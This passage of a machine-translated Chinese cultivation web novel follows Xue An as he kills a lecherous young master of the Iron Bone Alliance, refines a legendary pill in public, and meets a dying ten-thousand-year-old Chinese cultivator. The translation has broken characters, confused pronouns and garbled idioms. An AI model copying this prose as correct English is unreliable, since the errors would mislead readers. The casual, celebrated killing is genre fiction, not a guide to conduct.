    Xue An smiled and rubbed An Yan''s hair, "Yes, I did feel that the tricks these two little girls performed were a bit familiar!"


    An Yan reluctantly sorted out Xue An''s messed up hair, then nodded and said: "Yes, and the name is very strange, Sihua City... does it mean to miss the Chinese?"


    An Yan Bingxue was smart, and naturally saw how unusual this matter was.


    Xue An sighed softly, "Okay, go and rest soon! Don''t you, you will know it later."


    "Hmm!"


    An Yan went to bed.


    Xue An looked at the moonlight outside the window and was lost in thought.


    He was really familiar with the tricks the two little girls performed, because he had seen a similar scene in the illusion of the tortoise shell.


    and����.


    When Fu Xinyan performed the Xuan Yin technique, he also felt a strange fluctuation.


    And this wave of fluctuations seems to have only occurred in the Chinese.


    one way or another.


    He must visit this Sihua City once.


    Surprised many people.


    The night was calm and there was no abnormality.


    the next day.


    Fu Xinyan and Su Xiaomu got up early, and after packing their bags, they went to the residence where the Xiao Danzun Xiao Dancheng lived.


    This Xiao Dancheng, known as Xiao Danzun, lives in the northwest corner of Xianyou City. The entire city is his mansion, which contains various buildings used for refining pills.


    When Fu Xinyan arrived here, the square in front of Xiao''s house was already crowded with practitioners from all sides.


    When they saw Fu Xinyan appearing, these people looked a little weird, and they automatically gave way to a path.


    Fu Xinyan''s heart sank, knowing that things were a little weird, but she bit her head and walked into the square.


    "Sister, these people seem to be talking about us!" Su Xiaomu whispered.


    The two of them stood in a corner of the square, and many people pointed at them from a distance, seeming to be talking in whispers.


    Fu Xinyan''s face sank like water, "Don''t worry about them, you just don''t see them."


    "Yeah!" Su Xiaomu was obedient to his senior sister.


    Waited for more than half an hour.


    Just listen to the sound of jade chimes, and there was a commotion in the square.


    "Exit!"


    "Master Xiao is out!"


    Many people rushed forward, and many guards of the Xiao family guarded the door firmly.


    "Don''t be crowded, our Patriarch will come out soon!"


    As he was talking, he saw an old man with a childlike face and a crane appearing steadily on the high platform of the square.


    "Master Xiao!"


    "I have seen Xiao Danzun!"


    "Master Xiao, I am from Jiuluo City. Please help me refine a furnace of Hunyuan Pill. I am willing to produce one hundred thousand jade crystals."


    In this unity, jade crystal can not only be used for cultivation, but also as currency.


    And one hundred thousand jade crystals is already a big number.


    When everyone turned their heads and looked, they saw a middle-aged man speaking.


    Someone who recognized this person couldn''t help but whisper.


    "It''s Master Jiuluo from Jiuluo City. I heard that this person is now an Intermediate Golden Immortal, and he is only one step away from reaching the peak of Golden Immortal. This Hunyuan Pill should be used to break through!"


    Xiao Dancheng nodded at the Master Jiuluo, "Okay, I will take this Hunyuan Pill!"


    Upon hearing these words, Master Jiuluo was overjoyed, "Thank you, Master Xiao!"


    After all, someone from the Xiao family stepped forward and led the Master Jiuluo into the inner courtyard.


    The shouts of the remaining people were even more crazy.


    "Master Xiao, I have 110,000 jade crystals, and I want to refine a furnace of Promise Pill!"


    "I''m out..."


    In these shouts, Xiao Dancheng''s face was red, nodding his head from time to time to express his consent.


    As for those who feel that the price is not appropriate, he doesn''t even look at each other.


    At this moment, I heard a cold female voice, "A reversal of Yin and Yang body casting pill, bid for... a Mingxin Shenguo!"


    This sentence calmed the audience.


    Everyone turned to look around.


    He saw Fu Xinyan step forward and gave a deep salute to Xiao Dancheng, "Master Xiao, Master Fu Xinyan under the seat of Sihua City has seen you!"


    boom.


    There was a violent commotion among the crowd.


    Many people started to talk.


    "What is the reversal Yin Yang body casting pill? Why does this thing sound so weird?"


    "Hehe, from the name, I also know that this should be a kind of pill to change fate. It can be seen that the rumors are true that the ancestor of Sihua City is about to die! Otherwise these girls will not be so anxious!"


    "Tsk tusk, the reward alone is already a fruit of the mind, how precious is this pill!"


    In these comments Xiao Dancheng was silent, and after a while he nodded slightly, "The high apprentices of Sihua City are here. It stands to reason that I should help, but you are a pill..."


    Fu Xinyan didn''t wait for Xiao Dancheng to finish, she already took out two jade boxes cherished and importantly from her bag.


    "Master Xiao, one of them is pretending to be the yin and yang five element spiritual roots for refining the reversing yin and yang casting pill, the other one..."


    Fu Xinyan opened one of the smaller jade boxes, and a refreshing fragrance spread. Everyone who heard it felt clear and mentally refined.


    The taste alone is so effective, let alone the fruit.


    "This is the reward to be given to you, Mingxin Shenguo!" Fu Xinyan said in a deep voice.


    Looking at these two treasures, Xiao Dancheng''s eyes flashed with greed.


    The reversal of Yin and Yang casting body pill is a kind of pill that goes against the sky and changes fate. To refine this pill, not to mention a very strong pill, but also a high level of cultivation. Even so, it will also lose vitality. .

 Chapter 737： Iron Alliance 2 Less

    But this clear mind fruit was enough to offset all losses.


    After all, this is a heavenly elixir that can directly affect people''s state of mind, and can even bring back the devilish people.


    But in the face of such a temptation, after Xiao Dancheng''s complexion changed a few times, he still shook his head slightly, "Miss Fu, I''m sorry, I can''t make a pill for you!"


    "Why?" Fu Xinyan had just observed her words and expressions, and saw the greed in Xiao Dancheng''s eyes, and she thought she had a full grasp of the matter.


    But it was unexpected that Xiao Dancheng would refuse.


    This was simply beyond her expectation.


    Xiao Dancheng shook his head, "No reason, please go back!"


    Seeing Xiao Dancheng''s decisive look, Fu Xinyan''s whole body was like falling into an ice cellar.


    Recalling how much trouble and financial and manpower it took to obtain these two treasures of heaven and earth, Sihua City finally obtained these two things.


    I thought that by finding this pill master who was ranked number one in the Guiyi Eastern Region and refining this elixir into a pill queen, he would be able to save his master.


    But who could have thought of such an ending.


    Recalling all the difficulties in the past, and the ancestor who was nearly exhausted, the cold-faced Fu Xinyan''s nose was sour, and tears fell steadily.


    "Master Xiao, please stay!"


    With that, Fu Xinyan tucked up her skirt and fell to her knees.


    Su Xiaomu was already crying and sobbing, and then knelt down.


    Then Fu Xinyan looked up at Xiao Dancheng, "Master Xiao, I have been in the Eastern Region for thousands of years, and I have never had any enmity with anyone. This time I only ask Master Xiao to help us to help us think about China!"


    With that, Fu Xinyan touched her head to the ground.


    When Xiao Dancheng saw this, he was struggling and hesitant, and he couldn''t help sighing, "Miss Fu, please get up, it''s not that I don''t want to help, it''s really someone who is speaking, and I can''t let me do it!"


    When the words fell, Xiao Dancheng consciously failed to speak, and his face appeared regretful.


    But Fu Xinyan had already heard it, and she immediately raised her head, her eyebrows erected, "Master Xiao, what did you say to you?"


    "Miss Fu, don''t ask, please forgive me for nothing I can do about it!"


    "Master Xiao, don''t you even dare to tell us who ordered it?"


    "It''s not that I don''t dare, but that you can''t do anything about Sihua City, because the person who speaks, even I dare not offend!"


    Fu Xinyan''s face looked miserable.


    There are only a handful of people in the Guiyi Eastern Region who dare not offend Xiao Dancheng, the number one alchemist.


    As Xiao Dancheng said, these people are not something that Sihua City can afford.


    Fu Xinyan stood up in a daze, picked up two jade boxes and turned around just to leave.


    A voice came with a three-point joke.


    "Want to go? It''s not that easy! Things and people have to stay!"


    After speaking, a group of people flew across the sky and appeared above the square.


    The leader was a man with a splendid dress and an evil face.


    Seeing the visitors, the repairmen in the square were in an uproar.


    Then they bend over and salute.


    "I have seen Master Ji!"


    Fu Xinyan''s complexion became extremely ugly, and she gritted her teeth and said, "Iron Bone Alliance!"


    Just now she guessed that it was the order from the Iron Bone Alliance, but she didn''t expect it to be them, and she came to stop it.


    It was Ji Yangxi, the Second Younger of the Iron Bone Alliance, who came here.


    As the undisputed king of the Guiyi Eastern Region, the Iron Bone League has the supreme status.


    Even the second young Master Ji Yang Xi Ji is no exception. His words can determine the rise and fall of a city.


    If it was his order, then Xiao Dancheng certainly wouldn''t dare to disobey it.


    now.


    This Ji Yangxi looked at Fu Xinyan with interest, and then he smiled, "I have long heard that the female cultivator in Sihua City is unparalleled in the world, but now that I see it, I see that I feel pity and well-deserved reputation!"


    The words are full of contempt and flirtation.


    Fu Xinyan was extremely humiliated in her heart, but her face did not show much abnormality.


    Because she knew that she could not provoke the second young master.


    "Second Young Master Ji, I think Huacheng has never offended you Iron Bone Alliance, and even pays full sacrifices every year, but you embarrass us so much. What is the meaning of this?" Fu Xinyan tried to suppress the anger in her heart, deep voice Asked.


    Ji Yangxi withdrew her greedy gaze from Su Xiaomu''s body, and then sneered.


    "I haven''t offended our Iron Bone Alliance? Well, let me ask you, how did Feng Ling Wufeng Third Young Master die yesterday?"


    Hearing these words, Fu Xinyan''s expression changed drastically.


    "What? Nothing to say?"


    Ji Yangxi didn''t come here specifically for this incident, just because he was nearby during this time and happened to have heard of this incident.


    The relationship between the Feng Family and the Iron Bone Alliance is very good, and Ji Yangxi and this Feng San Shao are close friends with similar smells.


    So when he heard that Feng Lingwu had actually died, he couldn''t help being furious.


    The order was immediately passed to Xiao Dancheng, so that he could not help Sihua City.


    Then he finished dealing with the matter at hand, and then hurried over.


    "Now I just ask you one sentence, is the guy who killed Feng Lingwu still in the city?" Ji Yangxi said.


    Fu Xinyan gritted her silver teeth secretly, and said nothing.


    "Why? Don''t tell me? Hehe, if you don''t tell me, this guy can''t run out. As for you..." Ji Yangxi licked her lips.


    "I heard that the female cultivator in Sihua City is unparalleled in the world, I have to try it today.


    "Shameless!" Fu Xinyan couldn''t help but shouted angrily.


    "Tsk tut, thank you for the compliment!" Following the voice, Ji Yangxi suddenly swooped down and came directly to Fu Xinyan''s body, then raised her hand and stroked Fu Xinyan''s chin.


    Because his speed was too fast, Fu Xinyan didn''t react until his hands had touched Fu Xinyan''s chin, and she wanted to make a move.


    But then she realized that she couldn''t move anymore.


    Even the fingers cannot bend. I could only watch this Ji Yangxi''s fingers walking around her chin and neck.


    "It''s really smooth and tender skin!" Ji Yangxi was still exclaiming.


    But Su Xiaomu couldn''t stand his senior sister being frivolous, and trying his best to display the Xuan Yin technique would kill her.


    But Ji Yangxi hadn''t done anything yet, and a middle-aged man who came with him silently tapped his hand Su Xiaomu felt that he could not move all over.


    "Hey, they are really two sisters! I don''t know which one should I pick first?"


    Ji Yangxi was full of pride, reaching out to touch Su Xiaomu.


    Seeing this, Fu Xinyan was angrily attacked, and almost spit out blood.


    The cultivators in the entire square bowed their heads a little, showing indignity, and some with excitement.


    Xiao Dancheng sighed secretly and turned his head awkwardly.


    Although he has high alchemy skills, if he wants to survive in this Guiyi Star Eastern Region, he has to maintain sufficient respect for the iron bone alliance that is too emperor here.


    As for Sihua City...


    That was the yellow flower of yesterday.


    When the ancestor who has been supporting it for thousands of years falls, this Sihua City is estimated to be immediately swallowed.

 Chapter 738： Fengzhen Tiandi

    Therefore, Xiao Dancheng could only pretend that he hadn''t seen it.


    But just when Ji Yangxi''s hand was almost touching Su Xiaomu''s chest.


    A wisp of sword light flew across the sky and came straight to Ji Yangxi''s salty pigs'' hands.


    The speed of this sword light is so fast that Ji Yangxi has no time to react.


    However, the middle-aged men behind him reacted very quickly. One of them stepped forward, his eyes shining brightly, and he exhaled.


    "town!"


    boom!


    A cyan ray directly caged towards the sword light, making it stagnate in the air.


    But this situation only lasted for only a few breaths, and this green light flickered for a while, and then the entire stagnant space was shattered, and the sword light continued to slash towards Ji Yangxi unstoppable.


    A bell-shaped golden light appeared on Ji Yangxi''s body, and at the same time, the middle-aged men all rushed forward and guarded him to death.


    "Fengzhen Tiandi!"


    Each of the four men uttered a word.


    The four cyan rays of light were superimposed, and finally the sword light was about to slash towards them.


    But then, this sword light exploded.


    All these cyan rays of light were blown into powder.


    These men spit out a mouthful of blood.


    The faces of the many cultivators onlookers all showed awe.


    It was just a seemingly inconspicuous sword light that actually wounded all the major guards around Ji Yangxi.


    Who is it that has such a strong cultivation base?


    Ji Yangxi''s complexion also sank. Although he was protected behind him just now, under the sword light, he still felt a kind of bone-chilling chill, so he couldn''t help but exclaimed.


    "Who made the sword!"


    "I came out!" A calm voice came over, although the voice was not loud, it clearly reached everyone''s ears.


    And these three words are like keys. When Fu Xinyan and Su Xiaomu heard these three words, they felt relieved and then regained control of their bodies.


    The two of them looked back quickly.


    Seeing Xue An walking slowly alone.


    An Yan and the two little girls didn''t want to come over to join in the fun, so Xue An left them in the inn and came over by himself.


    Ji Yangxi''s complexion gradually became gloomy, because he couldn''t see through this long-body Yuli man with a smiling mouth.


    But the indifferent and high-mindedness in him made people dare not look down upon him.


    "Who are you? Why did you hurt me with a sword?" Ji Yangxi asked.


    Xue An ignored his words, but smiled at Fu Xinyan and Su Xiaomu.


    "I was bored waiting at the inn, so I came and took a look. I didn''t expect to catch up with this excitement."


    For some reason, when she saw Xue An, Fu Xinyan felt relieved, and she felt as if everything could not be difficult for him.


    Su Xiaomu said aggrievedly, "Senior Xue, this guy is too disgusting! I don''t want to **** our things, but even molested me and Sister Fu!"


    "Oh? Then, can I vent your anger?"


    "Yeah!" Su Xiaomu nodded hurriedly, smiling so that his eyes were bent.


    This attitude of ignoring the whole process made this Ji Yangxi very angry.


    Xue An turned his head to look at the second young master Ji at this moment, and said calmly: "Iron Bone Alliance?"


    Ji Yangxi proudly said: "Yes! Who are you?"


    Xue An smiled slightly, "Aren''t you looking for me just now?"


    "Looking for you? You are..."


    Xue An nodded, "Yes, I killed the Third Young Master of the Feng Family!"


    This sentence caused a great uproar.


    Some of them were in the restaurant yesterday, so after seeing Xue An, they couldn''t help lowering their voices and whispering.


    "Yes, this guy is the one who wiped out the third master of Feng yesterday!"


    "Hi! So young! And why can''t I see the cultivation base?"


    In these comments, Ji Yangxi''s complexion became more and more difficult to look.


    Because he didn''t expect this person who killed Feng San Shao to be so tough.


    The sword light just now explained everything, especially now that the guards around him are already injured.


    Ji Yangxi didn''t want to confront this person face to face.


    So he hesitated for a while, then said solemnly: "Very well! Do you have the courage to leave your name?"


    "My name is Xue An!"


    Xue An?


    Ji Yangxi frantically searched for the name in her heart, but found nothing, and then looked at a middle-aged man on the side.


    The man also shook his head, indicating that he had never heard the name.


    "I am passing here today, if you have the courage, just wait here for one day, and I will come again tomorrow, I don''t know if you dare?" Ji Yangxi deliberately said aggressively.


    Xue An looked at him silently, and nodded after a moment.


    "can!"


    Ji Yangxi breathed a sigh of relief, secretly proud, waiting for me to gather the brigade, I will surely let you die.


    But Xue An''s next sentence stunned him.


    "But you have to keep your hands!"


    "Huh?" Ji Yangxi thought she had heard it wrong.


    Xue An said indifferently: "Which hand you just used to touch it, cut off which hand yourself. Understand?"


    boom!


    Everyone in the audience fell into a petrified state.


    Even Xiao Dancheng looked at Xue An in disbelief.


    The meaning of wanting to leave in Ji Yangxi''s words has already made many people secretly grateful.


    Unexpectedly, this man dared to make a minor mess and asked the Second Young Master of the Iron Bone Alliance to sever his arm.


    This sounds almost like a fairy tale.


    The men behind Ji Yangxi all walked up.


    Although they are also full of fear for Xue An, they will not go there at this time, and they will have to die when they return.


    Ji Yangxi waved her hand to stop them, and then sneered: "Do you know who you are talking to?"


    Xue An shook his head and stretched out two fingers.


    "What do you mean?"


    "I hate other people''s nonsense now, so I changed my mind. Now you have to cut two arms to go!"


    Ji Yangxi was furious, "Do you really think I''m afraid you won''t succeed?"


    This Ji Yangxi is the second master of the Iron Bone League. He has instilled various rare medicines since he was a child, and has cultivated various rare exercises. Therefore, at a young age, he has already stepped into the ranks of golden immortals.


    At this moment, when he heard Xue An talking to himself like this his eyes were red with anger.


    The Qi machine like a volcanic eruption expanded in his body, and finally erupted.


    But a group of blue energy rose up into the sky and hit Xue An.


    "Senior, be careful!"


    Fu Xinyan felt tight.


    She knew that this Ji Yangxi was not an easy one, and the Iron Bone Alliance had always been known for its weird methods.


    This qingqi doesn''t know what it will be.


    But when Ji Yangxi blasted this blue aura, his guards also rushed over, Qi Qi attacked Xue An.


    Ji Yangxi took this opportunity to turn around and slipped out.


    Although he could not see through Xue An, he could clearly understand the cultivation base of the dead Master Feng.


    He is half a catty with him, so it is probably not the man''s opponent.

 Chapter 739： Dan Leixian

    Let these subordinates entangle him and leave first.


    In order to avenge others, he ended up taking his own life, he didn''t do this business.


    After summoning the masters in the family, I will find this guy to settle the account.


    Ji Yangxi had a wishful thinking in his heart.


    But he just ran out not a few steps away.


    All his subordinates flew upside down and turned into dead bodies in the air.


    Ji Yangxi caught a glimpse of this from the corner of her eye, and she couldn''t help being frightened, and her feet accelerated.


    But at this moment, he felt that someone patted him on the shoulder.


    "Do you still want to run?"


    Ji Yangxi froze all over, and when she looked sideways, she saw Xue An standing beside her.


    When he just wanted to speak, Xue An stretched out a finger.


    "Now, I don''t want your arm, just your life!"


    "Do not!"


    Ji Yangxi screamed in fright.


    But Xue An volleyed with his left hand.


    boom.


    Ji Yangxi didn''t even hold up half a snap of her finger, so she was crushed on the ground.


    Ji Yangxi struggled hard, but the great power that she could not resist fell from the sky and crushed him to the ground.


    Between the pedals of the hand planer, a large hole was created on the ground.


    "Quickly let me go! If you dare to kill me! No matter who you are, you will endure the endless pursuit of the Iron Bone Alliance!" Ji Yangxi felt the threat of death and couldn''t help but anger.


    Xue An said calmly: "Okay, I''m waiting for that day! But you still have to die!"


    Xiao Dancheng''s complexion changed drastically, and he hurriedly hurried over, shouting at the same time: "You are merciful!"


    At the same time, Xue An slammed his palm down.


    Click.


    Ji Yangxi suddenly showed radiance.


    That is the magic weapon he wears to protect his life.


    Only when there is a real death threat will it surface.


    But a few Guanghua didn''t hold on for a second, and they were all shocked into powder.


    Ji Yangxi screamed, and her whole body was crushed into a vague mass of flesh and blood.


    Even his soul did not escape and was crushed to pieces.


    one strike.


    Ji Yang Xi Ji of the Iron Bone Alliance is annihilated!


    See this scene.


    The audience was silent.


    There are even the timid who are already unstable.


    Xiao Dancheng stomped in fear and annoyance, and sighed, "It''s over, it''s over! This is a catastrophe!"


    "If you kill it, you will kill it, why don''t you talk nonsense!" Xue An didn''t care, just like crushing a bug.


    Xiao Dancheng''s expression was dejected, "Do you know how powerful this Iron Bone Alliance is? In this Guiyi Star Eastern Territory, the Iron Bone Alliance is the number one wealthy family to do your part! Now you have killed the second master of the Iron Bone Alliance. May I ask who can afford it?"


    Fu Xinyan stepped forward, "Master Xiao, you don''t have to say this anymore. This matter has nothing to do with you, but I think Huacheng did it, but please help us refine this furnace to reverse Yin and Yang casting. Dan."


    Xiao Dancheng''s complexion was extremely ugly, and he shook his head feebly, "Let''s go, it is absolutely impossible for me to help you refine this pill in Sihua City!"


    "but����."


    Xiao Dancheng said solemnly: "Nothing! You have committed such a terrible disaster with me and caused so much trouble. Of course I cannot help you. Don''t blame me for being impolite if you don''t leave!"


    Xiao Dancheng made it clear that he wanted to stay out of the matter.


    Fu Xinyan couldn''t help being filled with despair.


    The only purpose of this trip is to refine the pill as soon as possible, otherwise it will be delayed for a few days, even if there is a pill, there will be no magic.


    This is also the reason that Fu Xinyan has always wanted to ask Xiao Dancheng for refining, because now even if he goes to Outland to ask a master of alchemy, there is no time at all.


    But at this moment, Xue An said calmly: "This pill, I''ll help you do it!"


    This sentence was like a bomb, which caused an uproar.


    Many people sneered and laughed.


    "Does he think this is cooking?"


    "Tsk tusk, open your mouth and return me to help you do the exercises. I really don''t know that the sky is so great!"


    "That is, you must know that a master of alchemy is piled up with extremely high talents and countless experience. This is also the reason why Master Xiao is respected as the little alchemy! This person actually wants to make alchemy without any shame? Have a laugh!"


    "Hehe, wait and see the excitement!"


    Xiao Dancheng also showed a sneer on his face, then stroked his beard, and said lightly: "Since this friend said so, you can let him try!"


    Fu Xinyan looked at Xue An blankly, "Senior."


    Xue An waved his hand, "No need to say more, leave it to me!"


    Although Fu Xinyan had no bottom in her heart, out of trust in Xue An, she passed the jade box in her hand.


    Xue An opened it casually.


    Inside is a spiritual root radiating with five colors of light.


    At the same time, there are yin and yang qi lingering on it.


    "Sure enough, it is the spiritual root of Yin and Yang and Five Elements!"


    "This kind of innate elixir uses one plant less than one plant, it is very valuable! I want to see how this guy refines it!"


    Xiao Dancheng''s gaze flickered, and then he said lightly: "If this friend needs it, I can even provide you with an alchemy furnace. Of course, the premise is not to explode me!"


    This sentence caused a burst of laughter from the people around.


    Xue An shook his head, "Don''t be so troublesome, just stay here!"


    Xiao Dancheng almost laughed and was about to speak.


    Seeing the yin-yang and five-element spirit roots in the jade box rose into the sky, floating in front of Xue An.


    Then Xue An waved his hand, and a wisp of white flame clinged to it, completely covering the spiritual roots of the yin and yang and five elements.


    At the fingertips, the yin and yang and five elements in the flames changed nine times.


    Every time it changes, the impurity in the spiritual roots of the five elements will be reduced by one point.


    After the nine changes in alchemy, most of the five element spiritual roots have disappeared, leaving only a group of liquid medicine shining brightly in the air.


    This scene made all Xiao Dancheng''s mockery freeze on his face, and he couldn''t even believe his eyes.


    As a master of alchemy, he certainly understood how difficult Xue An''s seemingly understatement step was.


    Even if it��s him, he needs to place the yin-yang and five-element spirit roots in the alchemy furnace, roast them with a virtual fire for a day, and quench the impurities a little bit to get such a lump. Liquid medicine.


    And there can be no negligence in this process, otherwise it is very likely that all previous efforts will be lost.


    But Xue An now saved a day with a wave of his hand.


    But this is just the beginning.


    Xue Anxu grabbed it and saw that the originally clear sky suddenly became overcast.


    Then there was a faint thunder in the thick black clouds.


    "This is..." Xiao Dancheng was in a moment of uncertainty.


    The thunder and lightning fell like a gust of wind and rain, instantly enveloping the liquid medicine of the yin and yang and five elements in the air.


    The electric lights flickered, so bright that people dare not look directly.


    "Dan Lei! This is Dan Lei!" Xiao Dancheng trembled.

 Chapter 740： Have a heart that dares to do

    The so-called pill thunder refers to the bombardment caused by the sky-defying pill during the refining of the pill.


    You must know that the pill is divided into the fifth stage of human, earth, heaven and law.


    Heaven-ranked pill is already the limit of a pill master like Xiao Dancheng.


    As for Fadan, there are few people who can refine it.


    Even if there is, it takes extremely long preparation and tempering, plus a little bit of luck, to successfully refine.


    Unexpectedly, Xue An made a magic pill with such an understatement.


    This almost shocked Xiao Dancheng''s chin.


    At this moment, Xue An coldly shouted: "Ning!"


    Boom.


    Lei Guang disappeared.


    One exudes dazzling black light, like a black glaze black jade forged, in which there is a treasure pill that faintly flickers with thunder light, suspended in the air.


    A refreshing fragrance diffused, not only in this square, but even in the entire Xianyou City.


    Xiao Dancheng stared blankly.


    As for the other people in the square, they were all stupid.


    Xue An turned his head and smiled at Fu Xinyan, "Dancheng."


    Fu Xinyan nodded in a daze.


    This series of things came so quickly that she had no time to react.


    "Let''s go! Thinking back to Huacheng!" Xue An said lightly.


    "Ok!"


    Fu Xinyan and Su Xiaomu respectfully followed Xue An and left.


    "Master stay!" Xiao Dancheng regained consciousness and hurriedly shouted.


    Xue An stopped, without turning his head back, and said lightly: "What else!"


    "Master! Please forgive me Xiao, who just had no eyes and ran into the Great Master, please forgive me!"


    Xue An turned his head to look at Xiao Dancheng, then smiled faintly, "Are you not afraid of the Iron Bone Alliance and the Feng Family now?"


    Xiao Dancheng''s face blushed, ashamed of not knowing what to say.


    Xue An turned his head and continued to walk forward, until he was about to leave the square, he said lightly: "Do you know why your alchemy hasn''t made progress for so many years?"


    Xiao Dancheng shook all over, raised his head, looking at Xue An in the distance with bright eyes.


    "Master, dare to ask why?"


    "Because you are missing a heart to dare to do!"


    "The heart that dares to do..."


    "Yes! Alchemy is very difficult in the way, and if you are careless, there is a danger that the alchemy will be destroyed. But the more you do this, the more you must have a heart that is not afraid to dare to do! Risky things come to hone the alchemy, and it is destined to be a happy one!"


    Xiao Dancheng was struck by lightning in these words, the expression on his face was even more volatile, and he was also muttering words.


    "It turned out to be like this... I understand, I understand! Over the years, I thought I had studied pill art assiduously, and even went into seclusion for many years. In fact, I was lying to myself. My heart has degenerated!"


    Thinking of this, Xiao Dancheng''s eyes were clear, and there was no more wretchedness and arrogance before.


    Then he knelt on the ground with his clothes, and respectfully knocked his head in the direction of Xue An''s departure three times.


    "Thank you Master! The disciple has been taught!"


    Xue An smiled, and then walked away.


    The audience was silent.


    No one thought that Xiao Dancheng, who was always proud, would be so respectful to this man, and even honored his disciple.


    quickly.


    What happened at the Xiao Family Mansion in Xianyou City that day spread at an extremely fast speed.


    The second young master of the Iron Bone League died, and the mysterious man made alchemy on the spot, causing Xiao Danzun Xiao Dancheng to kneel down and admit defeat.


    These kinds of incidents are like bombs, making the originally peaceful Eastern Region boil.


    Countless people tried to find out the true identity of Xue An, but all failed.


    So various rumors began to appear.


    Some people say that Xue An came from the bitter cold land in the far north and was an ascetic.


    Others said that he came from Banten City in the Central Region, otherwise it would not be enough to explain his powerful alchemy technique.


    But these suspicions are just undercurrents hidden under the calm water, because everyone is waiting.


    Waiting for how the Feng Family and the Iron Bone Alliance will react to this matter.


    Just when the outside world is making a lot of noise because of these things.


    Xue An has already brought An Yan and her daughter to Sihua City on the edge of the Eastern Region.


    This is an ancient city.


    The once towering city walls are full of traces of the vicissitudes of life.


    The already dilapidated city gate shows the current state of decline.


    But from the exquisiteness remaining in the corners over there, we can still see the prosperity here.


    "Master sister!"


    "It''s the master sister who is back!"


    The female soldiers guarding the city wall all shouted in surprise when they saw Fu Xinyan.


    Then the city gate was slowly opened.


    Fu Xinyan led the way and led Xue An into this Sihua City.


    The houses in the city look a bit dilapidated, but the streets are very tidy.


    Many flowers and plants are planted on both sides of the road.


    During the walk, it was like walking among the flowers.


    Here, Xue An seems to have returned to the ancient times of China.


    Because the furnishings here are exactly the same as in ancient China.


    And just as he looked at the surrounding buildings.


    People on both sides of the street are also looking at Xue An curiously.


    Just as rumors from the outside world, all the people living in this Sihua City are women.


    I saw these girls get together, pointed at Xue An, and chuckled a few times from time to time.


    For them, this city has been visited by men for a long time.


    Therefore, when Xue An appeared, it naturally caused a great sensation.


    What''s more, he still came back with the master sister Fu Xinyan.


    This even surprised the group of little students.


    However, An Yan and the two little girls are more eye-catching than Xue An.


    Because at this time, An Yan had removed the disguised illusion and showed his true colors.


    I saw her clouded temples lightly, her skirt fluttering, she walked like a weak willow, and the quiet place was like a beautiful flower.


    Such a stunning demeanor naturally shocked these women.


    There are also these two little girls, carved and jade-like, making many women''s eyes shine.


    "God, so cute!"


    "Still twins! They look exactly the same."


    In these sighs and envy, Fu Xinyan led Xue An to a mansion located in the center of Sihua City.


    This mansion is more spacious than the others but after years of wear and tear, it also looks very old.


    Fu Xinyan led everyone straight to the back house of the mansion.


    There are many women guarding here.


    These people shouted after seeing Fu Xinyan coming back.


    "Master sister!"


    Fu Xinyan asked, "How about Master?"


    These people glanced at each other, then shook their heads together.


    "None of us can enter this backyard, but we can feel... the breath of the master is getting weaker day by day!"


    Fu Xinyan frowned and was about to walk to the backyard.


    Xue An, who has been silent since entering the mansion, suddenly said: "I''ll go in!"

 Chapter 741： Ten thousand years of waiting

    All these guards were taken aback.


    Fu Xinyan nodded without hesitation, "Yes!"


    He said that he would take out the pill that he was carrying with him.


    Xue An waved his hand, "No need!"


    Fu Xinyan was startled when she heard the words, then her complexion changed drastically.


    "senior����."


    Xue An ignored it, but walked directly to the backyard door, pushed the door and walked inside.


    When he entered, Fu Xinyan''s eyes were red, and she looked at the backyard blocked by Guanghua with tears in her eyes, and her heart was full of misery and desolation.


    Because she understands what Xue An''s move just now means.


    At this moment, Xue An looked at the wilderness in front of him and the small house in the middle of the wilderness, was silent for a moment, and then said lightly: "I''m here!"


    With his voice, the light and shadow moved for a while, and then a weak but excited female voice came from the room.


    "Are you... from China?"


    Xue An nodded, "Yes!"


    "Sure enough... After ten thousand years of waiting, have you finally seen people from my homeland when I am about to fall?"


    Speaking of the back, the woman began to sob quietly.


    Xue An was silent.


    In fact, since he walked into this mansion, he felt that someone was calling him.


    The sobbing gradually subsided, and then the woman smiled embarrassedly: "Sorry, I''m a little gaffe."


    "Are you... the Chinese cultivator who escaped from that catastrophe?" Xue An asked.


    "Yes!"


    Sure enough!


    Xue An sighed, "So, you have been here for ten thousand years?"


    "Eleven thousand two hundred and seventy-one years! And trapped in this small courtyard, it has been six thousand three hundred and eleven years!"


    Xue An was silent again.


    Living in such a lonely small courtyard for more than six thousand years, most people are probably already crazy.


    "You..." Xue An suddenly didn''t know what to say, because he could feel that the aura in the cabin was weakening every moment.


    And this kind of change is irreversible.


    No pill can change this process.


    This is also the reason why he didn''t bring in that reversal Yin Yang casting body pill.


    Because that is also futile.


    "It''s okay! I have lived enough for such a long time. I am already very happy to see people from my homeland before the fall! I am really happy!" the woman whispered.


    At this moment, the hut gradually collapsed and dissipated.


    That is her ability is no longer enough to maintain this most basic illusion.


    "Chinese man, don''t look at me!" the woman said nervously.


    But Xue An has seen it.


    I saw a woman sitting on a shabby futon.


    This woman was extremely thin, like a corpse, with only a pair of eyes exuding a look.


    But Xue An didn''t pay attention to this. He saw that the woman''s cheeks, neck, and even the whole body were covered with huge and terrifying scars.


    There is a black air lingering on these scars, eroding the woman''s life every moment, and making her aura a little bit old.


    Xue An was finally moved, "You..."


    The woman smiled, but her skinny, fat-free face looked so strange when she smiled.


    "It''s okay, I''m used to it!"


    Xue An was silent, but his eyes flashed with a bitter killing intent, "Those guys did it?"


    The woman sighed softly, "Yes!"


    Xue An suddenly didn''t know what to say.


    Ten thousand years.


    This woman is waiting here silently with such a serious injury.


    Xue An can see that these injuries are all directly affecting the origin of the woman''s soul.


    In other words, at every moment, she was suffering from tremendous pain that ordinary people could not imagine.


    This is a cruel punishment than hell.


    Xue An couldn''t help killing intently.


    The woman whispered, "Chinese man, can you tell me what is going on in your home country?"


    Xue An took a deep breath, suppressed the violent killing intent in his heart, and nodded, "Okay!"


    In the next time, Xue An slowly told everything he knew.


    After hearing about the Great Tribulation, the many great powers of the Chinese were martyred with their bodies, turning them into the laws of heaven and earth, when they were connected to the world and saved the people.


    The woman trembled, but no tears fell.


    Because she has run out of oil, even tears have become a luxury.


    And when Xue An talked about the Chinese people going round and round in these ten thousand years, but most of the time they stood at the top of the world.


    The woman laughed happily, happily like a child.


    And Xue An also woven out the illusion with his spiritual mind, showing the rivers and mountains of his homeland in front of him one by one.


    The woman greedily watched all this, stretched out her hand to gently stroke the mountains and rivers, and whispered softly.


    "Master! Brother! In the midst of the catastrophe, you are all dead, but at the last moment, you broke the space-time channel with your whole body cultivation and sent me here.


    "Brother fool, I still remember what you said to me!"


    "Live well!"


    "But... Without you, there is no China! Even if I live, what''s the point?"


